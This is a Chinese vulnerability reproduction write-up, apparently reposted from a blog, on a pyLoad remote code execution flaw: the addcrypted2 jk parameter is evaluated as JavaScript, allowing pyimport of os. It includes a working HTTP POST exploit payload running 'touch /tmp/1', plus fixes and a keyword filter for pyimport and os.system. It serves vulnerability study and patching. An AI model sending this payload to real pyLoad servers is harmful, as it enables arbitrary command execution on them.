漏洞信息

image-20230608103748253

image-20230608103836984

漏洞原理

image-20230608104004862

  • 在 addcrypted2() 函数中,对传入的参数 jk 解析后用 eval_js() 作为 JS 语句执行。
  • 利用 JS 中 pyimport 导入 OS 包,执行系统命令(文件操作,进程管理),还可以利用 os.system() 执行 shell 命令。
  • 构建 payload 过程比较简单,只要传入所需的 package, crypted, jk, passwords 四个参数即可,这里要注意对 crypted 参数有要求:要对 crypted 参数做 base64 解码,所以长度要为 24 bit 的整数倍且不包含空格。

漏洞环境搭建以及复现

环境

  • Kali Linux
  • pyload 0.5.0b3.dev30

复现

payload

POST /flash/addcrypted2 HTTP/1.1
Host: <target host>:9666
Content-Type: application/x-www-form-urlencoded

jk=pyimport%20os;os.system("touch%20/tmp/1");f=function%20f2(){};&package=xxxx&crypted=AAAA&&passwords=aaaa

执行

image-20230608105624032

在传入 payload 前,文件系统中不存在 /tmp/1 文件,在攻击后,执行了 touch /tmp/1 命令,再次查看时发现文件已经被创建,即我们传入的命令已经被执行。

修复

升级至 0.5.0b3.dev31 及以上版本

禁用 pyimport 功能

js2py.disable_pyimport()

流量过滤

关键字:jk 参数中 pyimport, os.system 等系统命令

内容来源于网络如有侵权请私信删除

文章来源: 博客园

原文链接: https://www.cnblogs.com/alfrodull/p/17479254.html

你还没有登录,请先登录注册
  • 还没有人评论,欢迎说说您的想法!